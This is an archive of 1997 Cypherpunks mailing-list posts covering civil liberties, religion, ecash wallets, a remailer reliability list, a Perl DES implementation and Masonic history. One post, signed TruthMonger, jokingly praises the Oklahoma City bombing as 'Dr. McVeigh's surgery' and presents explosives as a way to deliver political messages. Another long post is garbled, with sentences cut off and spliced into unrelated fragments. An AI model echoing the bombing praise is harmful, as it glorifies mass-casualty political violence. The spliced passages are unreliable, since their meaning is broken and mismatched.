Message-ID: <33EE9409.2D2AE95B@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:

> In short, the Constitution itself was a casualty of >Lincoln's war. A Pyrrhic victory indeed.
>
	For the first time in a long time, I've read a post that actually make
me seriously consider rethinking what I have been taught. I've studied
quite a bit in regards to US law and the Consitution, (made necessary by
my being Pro-PGP), and never looked in that direction. Your post adds a
very different light to things.  I took the liberty of forwarding your
post to a few of my old teachers, and they said that even they had not
looked at history from that point. Thank you for the push.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Mon, 11 Aug 1997 15:09:37 +0800
To: cypherpunks@toad.com
Subject: New Thread? / Re: Apology from me to the list and TruthMonger
Message-ID: <199708110653.AAA21997@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



David Downey wrote:
> 
> LOL, all right, all right. I'll take my lickings and like it.

  OK. Now that we've got that settled, what shall we talk about
next, Abortion or Ebonics?

> I do not
> know how to word where I stand because I take a little from each side as
> to what is the correct way to handle these issues. 

  On its face, this is not an unreasonable concept.
  As I see it, the reason for the 'Fuck Compromise' stance being
so heartily proclaimed on the list is not because CypherPunks see
compromise as inherently evil, but because of the recognition that
compromise that is beneficial to both parties requires honesty
and integrity on the part of both parties.
  Compromise at the point of a gun is weakness, not wisdom, and
every step one loses is twice as hard to regain in the future.
The classic example is Hitler, who "only wanted Austria." Then he
"only wanted Poland."
  The government claimed they only wanted to ban the *bad* guns,
but as Tim May pointed out, now it is theoretically illegal in
some places for a citizen to carry a paring knife home from the
store. Of course, in practice, these laws will only be used 
against *bad* people. Mary Tyler Moore has nothing to worry about.

> I believe in fighting for what one believes in. I firmly
> believe in protecting the children and guiding them towards an
> understanding of today's world in *all* it trappings. I am also unsure
> as to the correct and "right" way to do this. I am open to suggestions,
> and am willing to openly contribute my own.

  The fallacy that creates more problems than it solves is that
there *is* a "right" way to do things.
  Life is a crapshoot, and the most we can hope for is to use our
best judgement to minimize whatever ill effects might occur as 
the result of haphazard circumstance.
  Sadly, our society has been moving further and further toward
a fascist, control-freak mentality which dictates that there are
clear lines between right and wrong actions, attitudes and beliefs.
Even more sadly, society is crying out for stiff punishment in
every niggardly aspect of life, including the areas which are
beyond the control of those involved.

  An example is the woman in New York (?) who went to get food for
her baby, and the dog killed/ate the baby while she was gone. The
masses called for her head on a platter and she was charged with
manslaughter (or whatever).
  I am certain that those who could afford a nanny to take care of
their children had enough time on their hands to write a letter to
the editor to call for the woman's imprisonment. I would not be
surprised to find that some of those letters to the editor were
of the opinion that, if the mother had no bread for the baby,
then she should have let the baby "eat cake."
  I couldn't help but think of this poor woman who had lost the
child that she was trying to feed and nurture. Did she need to
be 'punished' because her options were limited by her position
in life? I don't know all the details of her situation, but I
do know that neither the media nor the masses seemed to care
about the details--they just wanted blood.
  I would wager that there are far more children who die in the
company of their mother in a bad neighborhood, than those who
are eaten by the family dog. I would also wager that if the
Clinton's cat killed and ate Chelsea, that there would be no
charges pending.

  Which is the "right" choice--to take your child with you and
have him/her die when you are mugged--to leave your child at
home and have the dog eat him/her?
  Which is the "right" choice--to allow your child to learn about
kinky sex techniques and then die when they try hanging themself
from the ceiling and standing on a chair--to "protect" them from
exposure to *trash* such as this, and then they die by suffocation 
when their sex-partner tells them semi-strangulation enhances
sex, because they've never encountered information about it which
also mentions that it may be dangerous?

  If you beat your child in order to prevent them from doing what
you feel will be harmful to them, then society will put you in jail.
If you beat them psychologically, with guilt, and they kill themself
out of shame when they do something *bad*, society will give you
sympathy.
  Which is the "right" way to teach your children to avoid things
which will harm them? There *isn't* a "right" way.

  Before your child can understand speech, you can't protect them 
from touching a hot stove by "telling" them not to. Is it "wrong"
to slap their hand when they reach for it? Once they *do* know
how to understand what you are telling them, slapping their hand
may not be the best way to keep them from harm.
  The bottom line is that you have to use your best judgment about
issues such as these, and you will never be "right." You will merely
be doing the best that you can. If you don't care about making the
effort to protect your children and they never touch a hot stove,
it does not make you a "good" parent. If you care immensely, and
do everything you are capable of to protect your children and they
*do* touch a hot stove, it does not make you a "bad" parent.

  It is human nature that if you take your child to the park to
enrich their life, and they get killed by a meteor falling from
the sky, you may find yourself "blaming" yourself, saying, "If
only I hadn't taken him/her to the park!"
  This is part of life, and part of being human. However, when
others decide that you should be imprisoned for child endangerment
for taking your child outside when a single astronomer in China 
told the media that a meteorite "might" be on the way, then there
is something seriously wrong with society.
  Is this a ridiculous example? Sure it is...just like someone
claiming that they were justified in raping someone because
their slip was showing, so they were "asking for it."

  The point I am trying to make is that there are no ridiculous
examples. Moose Jaw, Saskatchewan, once had a law that required
pedestrians to walk on the right side of the sidewalk. This was
a fairly recent event.
  Insane? Yes, and City Council eventually figured out that they
were idiots, but if someone's child had died when bumping into
someone while their parent was walking them on the "wrong side"
of the sidewalk, the parent would have been legally guilty of 
child endangerment.

  The "Big Lie" that we tell ourselves is that we can guarantee
our safety and security, and that of our children, if we just
pass enough laws against things that are "wrong." If we can just
figure out who is "to blame" for society's ills and imprison 
them.
  The guy who sold you the "junk bonds" might well have cost
you less money than the long-term government bonds you bought
just before inflation went through the roof. Who is the "right"
person to put in jail, and who is the "wrong" person to put in
jail? Truthfully, the "right" person to put in jail may well
be *you*. It might "protect" you from making bad financial
decisions.

  I don't want your child to get molested by a pedophile. I don't
want your child to die of a heroin overdose. But I don't want a
video camera mounted in my home to monitor my activities in an
attempt to keep your child from coming to harm, either.
  A solution to protecting the citizens is to put them in prison
and keep the criminals on the outside. Really! We would be
protected by the security of concrete walls and locked doors.
  Is the "right" thing to do to put your child in prison?
I think you know better than that.

  Some children are going to be molested, some are going to be
abused and/or murdered, some are going to walk willingly, and
perhaps ignorantly, into bad situations that will lead them to
suffer irrepairable harm.
  I don't want this for your child, or for any child, but I
truly don't believe that they can be protected by making the
lives of everyone so regulated and restricted that our life
energy is drained from us by eroach, and that, while he had
not used any force or pressure in the situation, that it was
possible that this could occur with a smaller child.
  I asked my mother if there was a law against adults offering
children money to let the adult give them a blow-job. She was
startled by my question, though she hid it as best she could,
but she was also amused that I was so casual about asking it.
  She dealt with the situation matter-of-factly, and I went
with a policeman to help him find the man. The policeman
chased him down, subdued him, and took him to jail.

  To tell the truth, I felt compassion for the man, since I
sensed that he was a tortured individual, and he had not really
done anything that 'violated' me, or 'infringed' on my right
to self-determination (although I would not have been able to
verbalize these feelings at the time).
  Looking back on the event, I realize that, strictly speaking,
I did not take a course of action that would lead to his being
judged and punished for what he did, but rather, for what he
"might" do.
  Was I "right" or "wrong" in subjecting someone who did not
do any harm to me to arrest and imprisonment? I don't know.
  It could very well be the man never had, and never would,
force himself on a child, or exert undue pressure on a child
in order to coerce the child into doing something against their
will. Can my actions be deemed "right" or "wrong," depending on
the "odds" of him forcing himself on a child, versus being of
strong enough character not to do evil to satisfy his desires?
  In retrospect, I believe I made my decision to act based on
the fact that I sensed that the man was not totally in control
of basing his actions only on his best rational judgement. It
could be that I had him wrongly imprisoned, or it could be that
I saved him from doing something he would regret for the rest
of his life.

  The irony of this story is that the local police solved their
"problem" with this man by buyingtrolling one's urges versus violating
others in order to satisfy themself?

  The reality of the current state of affairs is that there
are a plethora of laws which prevent parents from making their
own decisions as to how to live their lives and how to raise
their children to the best of their ability.
  If you know that you need to slap your child's hand in order
to keep them from touching a hot stove, will you do so? What
if you also know that Child Services will take away your child
and put them in an orphanage if you do so?
  Is your child better off having a deformed hand and living
at home in a loving environment, or having a normal hand and
being raised by strangers who don't care for him/her?

  Laws aren't going to universally protect our children, nor are
rating systems, or lynchings. Nor, sadly, the best judgement of
concerned, loving parents.
  We can't solve the problems of life by passing legislation that
attempts to control everyone and everything, forcto give his patients marijuana to
relieve their suffering.

  Yes, I care about other people, and I care about children.
I am not selfishly clinging to my rights to privacy and freedom
in order to further my own interests at the expense of others.
I am doing so because I don't believe that the world will be
a better place if my rights and freedoms are taken away.
  Then again, I'm Chinese...I could be "Wong."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Mon, 11 Aug 1997 15:10:00 +0800
To: cypherpunks@toad.com
Subject: Dr. McVeigh / Re: A peculiar notion
Message-ID: <199708110653.AAA22003@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



David D.W. Downey wrote:
> Steve Schear wrote: 
> > In short, the Constitution itself was a casualty of >Lincoln's war. A Pyrrhic victory indeed.
> >
>         For the first time in a long time, I've read a post that actually make
> me seriously consider rethinking what I have been taught. I've studied
> quite a bit in regards to US law and the Consitution, (made necessary by
> my being Pro-PGP), and never looked in that direction. Your post adds a
> very different light to things.
> Thank you for the push.

  I also thought that it was one of the more thought-provoking posts
in a while, but I would certainly never send a polite, thankful post
to the list, saying so.
  My "CypherPissing" mail folder turned out to be genetically related
to the plant in "Little Shop of Horrors" and, the larger it gets, the
more it demands to be fed. In order to provide it with enough of the
sewage-supplement it needs to keep from eating my "cat" command, I
may have to send a post to the list praising Sandy Sandfort, Chris
Lewis, and blessing Armenians everywhere.
(I have tried remailing old ASCII-art spams to myself, but it refuses
to eat left-overs.)

  (Perhaps I can get my "CypherPissing" folder a few snacks to munch
on, in the meantime, by seeing if praising Tim McVeigh is still good
enough bait to get a few nibbles. "Suckers" taste pretty good, if
you "smoke" 'em.)

  Anyway...
  There are some concepts and arguments that "chip away" at an assumed
belief or a train of logic, and there are those that knock down a load-
bearing support column.
  The Joseph Sobran piece which Steve posted to the list could, with
a proper "primer," do the kind of damage to our view of Civil War
history as the OKC bomb did to the Murrah Federal Building. Come to
think of it, maybe McVeigh _was_ the primer for explosive new views
of why Federalism is quickly becoming indistinguishable from Fascism.
  The advantage that literature has over black powder is that it is
reusable and doesn't leave as big a mess to clean up. The advantage
that black powder has over literature is that it makes enough noise
to get the message to the blind, as well, and sometimes even restores
the sight of the blind. 
{Warning: Since the side-effects of Black Powder can be substantial,
 it should only be used in cases where the physician has determined
 that the benefits of "treatment" outweigh the risks.
 Dr. McVeigh's surgery in OKC falls into the category of private
 research (even if he did receive some government funding). However,
 follow-up research by others may lead to McVeigh's technique being
 improved and perhaps gaining enough recognition to make it standard
 paramedical procedure.}

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Mon, 11 Aug 1997 16:19:01 +0800
To: Mike <cypherpunks@toad.com
Subject: Re: Getting ecash without an MTB account
In-Reply-To: <3.0.3.32.19970811092630.009d5950@localhost>
Message-ID: <3.0.2.32.19970811010802.007f77f0@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:26 AM 8/11/97 +0200, Mike wrote:
>
>I would have two accounts at MTB, one for savings and one for transactions.
>I want to give away a million bucks, so I deposit that amount in the
>transactions account. Then I give the account password to the receiver, he
>withdraws the money, and I change the password so he can't get any more
>money from me. I trust the receiver not to change my password, but if he
>does change it, then I can simply ask MTB to change it back, explaining
>that I lost my password.
>
>Would this work?
>

Should work just dandy, with this note: You must destroy your wallet
on disk for the transactions account and recreate after every
"transfer" is complete. This is because the sequence numbers on mint 
messages will not match and the MTB client will complain about it and 
reject the messages. However, you can re-create your wallet with
no problems at all. 

(Note to Digicash developers, if you're reading, please allow any
sequence number greater than or equal to the expected value in future
wallets. There is a really obscure and damned difficult attack that
can be mounted against this, but the alternative is a non-portable
wallet. Not being able to have an arbitrary number of wallets for 
the same account is mucho annoying).

BTW, there are better solutions to operating without a mint account,
but they are not widely available yet.

Regards,
Jeremey.



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+7IYS/fy+vkqMxNAQHKHQP/WMtgWY5rswZjpNRvk56f0LY/DVe078xC
09Z8DG1dmIZbBCWlTqO5fujZlH83B2S7covw8K3YtVeCF74IlOI5TeOEVVgVZHnp
0/iLafMjEWQBy8/PHxy6IOJeWy0LX2kgJozWTztu6AlcCGvRJx3gRUK14UxMz1mJ
HY3wiupNPfg=
=Laum
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 11 Aug 1997 10:07:19 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708110147.DAA25245@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




At 06:16 PM 8/10/97 +1000, you wrote:
>Is it worth noting at this point that an evangilical Christian and the 
>religious right have little in common. Evangelicals (I'm one) belive the 
>Bible to be the word of God etc.. but don't add anythign else to it and 
>certianly wouldn't force thier beliefs down your throat. They would 

Well, most evangelists don't force things down your throat.  They try to convince you to send them money to "Help" The Almighty (TM)'s cause.  Usually, that money is spent on porno mags, hookers, and booze.

>I would also have a problem with Christians controlling and censoring the 
>net. I would welcome (and do welcome) sites that which to argue against 
>Christianity. What wrong with that ?? It simply provides a forum for 
>Christians to defend thier beliefs. Besides if I censor you now because i 
>find your content un acceptable whats to stop you censoring me later when 
>your in the majority ! What utter stupidity to load the gun for others. 
>Particularly as i am a Christian I WOULD be critical of some of the 
>religious rights ideas and agendas and would happily argue from the Bible 
>that they are not a good thing.
>

Too many Christians try to censor atheist site because it defies their Almighty God (TM), and somehow clouds others views.

>I thought school pray was outlawed in the states ?? 

mandatory prayer was.

>> I have known far too many Christians who never read anything that
>> challenges their basic belief structure.  Nothing that could dare shake
>> their faith in God and the Bible.  In their isolation, they are taught to
>> believe ideas that have no rational defense.  (Like Biblical inerrancy and
>> Creationism.)  When challenged, these outcasts from reason have to rely on
>> the "moral authority" of their unseen God or other appeals to authority to
>> try and defend their irrational beliefs.
>
>Christians whould read challenging stuff. IT expands thier mind and 
>strengthens thier beliefs (Well i find it does), and in my expirence a 
>Christian who cant defend thier faith needs to learn more. Although i 
>would disagree with dismissing creationism and Biblical inerrancey. (not 
>that is is an appropriate forum for such a discussion)

Bullshit.  Most Christians I see IRL and on TV cringe at books other than The Good Book(TM).  Creationism is bullshit, God didn't make everything in 7 days, we evolved from monkeys and various others (Although many half-evolved monkeys can be seen on TV Evangelism shows and in Congress).

In order to believe in something, I need some hard facts.  I need to actually see a god (while I'm sober) talk to me and I talk back and see him actually makes things.  Unlike some of the weaker people, I can't just believe it because "anything's possible".  I can't believe it because a minister or a book tells me.  When I was around 8 years, I read this section of the bible asking questions like (it was in the back) "How do we know the bible is true?"  I was intersted, reading further, I noticed some page numbers, so I went there, finding not words of a scientist, but supposed words of god.  If god supposedly asked people to write this, and he says it's true, then that's called bullshit, because that's like someone writing a crypto algorithm, and stating it's secure even though no one else has seen it.

In short, unless I see it for myself, I won't believe it fully.  In religions case, at all.
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 11 Aug 1997 18:53:59 +0800
To: cypherpunks@toad.com
Subject: Feds Seek PKI Bids
Message-ID: <1.5.4.32.19970811103643.006f7ec0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



USG published a solicitation today in the CBD for a
Public Key Infrastructure which outlines the system
requirements:

   http://jya.com/pkicbd.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 11 Aug 1997 22:15:32 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199708111350.GAA26919@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 11 Aug 97 6:48:21 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
cracker  remailer@anon.efga.org           +++**+++++-+    32:17 100.00%
redneck  config@anon.efga.org             **#**#*#++-*     9:35 100.00%
nym      config@nym.alias.net             ####+#---###    33:53  99.99%
cyber    alias@alias.cyberpass.net        ***+*++**+-*    19:55  99.96%
mix      mixmaster@remail.obscura.com     *+*+*+-+*+-*    40:19  99.95%
winsock  winsock@rigel.cyberpass.net      --------.---  6:12:35  99.92%
replay   remailer@replay.com               ***-*****-*    15:02  99.48%
weasel   config@weasel.owl.de             -+---+++---   2:11:39  99.36%
arrid    arrid@juno.com                   - + -  --+-+  1:59:27  99.31%
valdeez  valdeez@juno.com                 ____ __ _  * 72:57:16  99.10%
hera     goddesshera@juno.com             -  --------   3:59:28  97.40%
reno     middleman@cyberpass.net           +++-++ --      58:16  96.38%
neva     remailer@neva.org                  ++**--- -*  2:04:57  90.02%
jam      remailer@cypherpunks.ca            +*++--- +*  2:13:07  89.14%
squirrel mix@squirrel.owl.de              ----- -   -   4:12:37  74.34%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 12 Aug 1997 11:47:40 +0800
To: cypherpunks@toad.com
Subject: I'd _like_ to share my source code, but...
Message-ID: <199708120307.WAA13721@dfw-ix15.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Peter Trei forged:

> Does anyone remember what 5 + 7 is equal to? (Send the answer by
> encrypted, private email. Secrecy is essential to my work.)

  For immediate employment contact <the_boss@dataETR.com>.

  Or, if you are merely working on a bid for the following,
>USG published a solicitation today in the CBD for a
>Public Key Infrastructure which outlines the system
>requirements:
then, 5 + 7 = 14 (Close enough for government work!)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Mon, 11 Aug 1997 20:43:05 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [Fwd: Virus Warning]]
In-Reply-To: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
Message-ID: <33EF300D.1862@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Just as an aside, I received the "virus" in question and it was actually
a poorly written Trojan Horse that I am not sure would work if
initiated.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Root <root@cypherpunks.campsite.hip.nl>
Date: Mon, 11 Aug 1997 14:49:40 +0800
To: cypherpunks@cyberpass.net
Subject: fyi, pgp source now available internationally
Message-ID: <199708111532.IAA09737@cypherpunks.campsite.hip.nl>
MIME-Version: 1.0
Content-Type: text/plain




http://cypherpunks.campsite.hip97.nl/pgp/

and

http://www.pgpi.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 11 Aug 1997 21:14:00 +0800
To: kent@songbird.com
Subject: Triple-DES blues (was Re: some hashcash advocacy)
In-Reply-To: <19970809223727.64534@bywater.songbird.com>
Message-ID: <199708110756.IAA01879@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> > [btw: Kent: I tried out your .midi file under win95, all I had to do
> > was double click on it.  Almost melodic in an weird modern sort of
> > way.  Most cool anyway :-]
> 
> [...]
> But this experiment sends my mind twitching off in other aesthetic 
> directions -- your code was short enough so that it isn't boring -- 
> if you had 20 minutes of "music" like that it would drive you nuts, 
> and I would like to try some longer things -- a couple hundred lines 
> of C code, for example.  To make that work I was thinking of putting 
> in a strong basic harmonic background, like a blues progression, and 
> using the code text to drive a solo voice over it.  Something like 
> the "Triple-DES blues"...

Well here's DES... shouldn't be hard to construct a 3DES out of it

#!/bin/perl -s-- DES in perl5
$/=" ";sub u{$_=<DATA>;s/\s//g;map{-33+ord}/./g}$"='';$[=1;@S=map{[u]}1..8;@I=
u;@F=u;@C=(split//,unpack B64,pack H16,$k.0 x16)[u];@D=splice@C,29;@p=u;$_=11 .
2222221 x2;for$l(/./g){map{push@$_,splice@$_,1,$l}\@C,\@D;$K[++$i]="@{[(@C,@D)
[@p]]}"}@E=u;@P=u;%a=map{unpack(B8,chr$_),$_}0..63;while(read STDIN,$b,8){@L=(
split//,unpack B64,$b."\0"x7)[@I];@R=splice@L,33;for$i(1..16){$i=17-$i if$d;@t
=@R[@E];$j=1;$n=0;for(($K[$i]^"@t"|0 x48)=~/.{6}/g){($n<<=4)+=${$S[$j++]}[$a{
"00$_"}+1]};@t=(split//,unpack B32,pack N,$n)[@P];@X=split//,"@L"^"@t"|0 x32;
@L=@R;@R=@X}print pack B64,join'',(@R,@L)[@F]}__END__~printunpacku,'$2F%P:```'
/!%0.("%#/0#,.)"$++''--,&**&!$()%0"-/))#.%'*#",(0&-,*$(/$++!&'!. 0$".)%/('0,#$
)%/*-(!#".+-'!*&,+&!./)(+,"+$%0.%"#&,)'-('-*!$&#/0* +.!(*!/*'$$%0'&+"#.)-&(/,-
%,#0)"."'+%.*!)'0*$)!(,%"0#/-$&,+&/#(- (..)/,$&!''0*!+$"%#()#&-,"-+%/0*+$'0*!!
'-+,"(..)0*"%$&/,&-#()#%/ #/-,%#"-(%+(,.'")&&!$00+.$!*/)*'%,#)"-,(+"./(#).0'*0
-!&*'+$%!&/$ -+"0+%0#*(#-'*)&!'."$.%//!(,&$,)*%/$0#&-#*)&-0$+(,!/%"+("'.!,)'. 
%.,!#,/(0%!*)".+$/-$*&(-&#+0')"'"'%,,..)-"$%(+/(+*0&'!)0!/&#*$#- ."#0).%)'+0$,
("%+-*&$'/,&!!/-*(#(#,"%/"(*%-+/)#.!0'-+*.!0$$&&'), [SKC;3+#]UME=5-%_WOG?7/'aY
QIA91)ZRJB:2*"\TLD<4,$^VNF>6.&`XPH@80( I)Q1Y9aAH(P0X8`@G'O/W7_?F&N.V6^>E%M-U5]
=D$L,T4\<C#K+S3[;B"J*R2Z: ZRJB:2*"[SKC;3+#\TLD<4,$]UME`XPH@80(_WOG?7/'^VNF>6.&
=5-% /2,9"&$=0'6+84-%;)1(<5.#JU@FPX?ITNBQMRHYCVOKSE>A A"#$%&%&'()*)*+,-.-./012
12345656789:9:;<=>=>?@A" 1(56>-=2"08;&3@+#)9/A<$*4.?'7,%:


How high can you crank up the bit rate?  How about pgp.exe (270k or so
from pgp263)?

Couldn't you sample voices, and use that through a vocoder?  Say one
line of the music was DES above which would come out as a real short
burst... even pgp.exe at 270k wouldn't be that long at stereo CD
quality sample, right?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 11 Aug 1997 21:23:57 +0800
To: cypherpunks@toad.com
Subject: Re: Masons and Fnords
Message-ID: <199708111308.GAA18202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:


At 2:00 AM -0700 8/9/97, David D.W. Downey wrote:

>To show how much this country *was* in fact based upon Christianity,
>one has only to look at our money. "In *God* we trust.

That slogan was added only fairly recently - I think in the 30's. The
reverse of the Great Seal (the pyramid) has been on the dollar bill only
since the Roosevelt administration, and was almost unknown to the 
average citizen before that.

> Tim May writes:
> 
> > Actually, _all_ of the Founders were Masons. Tim Bob says check it out.
> 
> Correct.  Thomas Jefferson, Ben Franklin, and others were Deists, and
> Masons, and would have laughed hysterically at the absurd notion of the
> divinity of Jesus Christ.

Nope. While many of the Founders were Masons, by no means all were. 
In particular, there is no evidence that Jefferson was ever a 
member.

Robert Hettinga <rah@shipwright.com> writes:

>Well, Unitarians like to claim Jefferson, because of a nice letter he
>wrote to Joseph Priestly. Of course, we like to claim *all* the cool
>people...

The Masons are guilty there too... try reading the entry on 
Freemasonry on Bierce's "The Devil's Dictionary".

John Young wrote:

>Tim May wrote:
>>--Tim May, 34th Degree Mason, former resident of Alexandria, home of
>>the Masonic Temple.

Tim is engaging in his traditional hyperbola here - I can assure you 
that he is NOT 34th degree, and I strongly doubt that he is a Mason 
of any shape or form.

But:

>Now this is modest understatement with regard to this MT, the Godzilla
>of Masonic Temples, worth a side trip from the Capital of the Freeh
>World. You won't believe your eyes at this pyramid scheme putting the
>originals at Giza to shame.

>That over-reaching Alexandria Masonic Temple is matched only by the
>Mormon in Utah and the Buddhist in W.VA and St. Peters and Angor Wat
>and ... Billy Gates' Xanadu.

Aside from a nit (it's not a temple, but rather a memorial: "The 
George Washington Masonic National Memorial" to be exact), this is 
largely correct. It's a really grand, funky piece of architecture, 
and open to the public, with free guided tours. Over 300 feet tall, 
and on the highest point in Alexandria, it has a *very* impressive 
view from the top, taking in all of DC and miles around.

There's a website at http://www.georgewashington.org. It overhypes 
the site's importance to Masonry, but gives you some views of the 
exterior and interior.

If you're in the area with a couple hours to kill, it's definitely
worth a visit (it's only a few minutes from National Airport). 
Don't miss the bookshop/souveneir stand.

Those in the Silicon Valley area might also want to visit the 
Rosicrucian Museum in San Jose, a similarly funky building,
belonging to an unrelated group.

Peter Trei
trei@process.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 12 Aug 1997 00:30:21 +0800
To: cypherpunks@toad.com
Subject: Distributing food without a license
In-Reply-To: <199708110653.AAA21997@wombat.sk.sympatico.ca>
Message-ID: <v03102804b014e9f5d0b9@[207.167.93.63]>
MIME-Version: 1.0
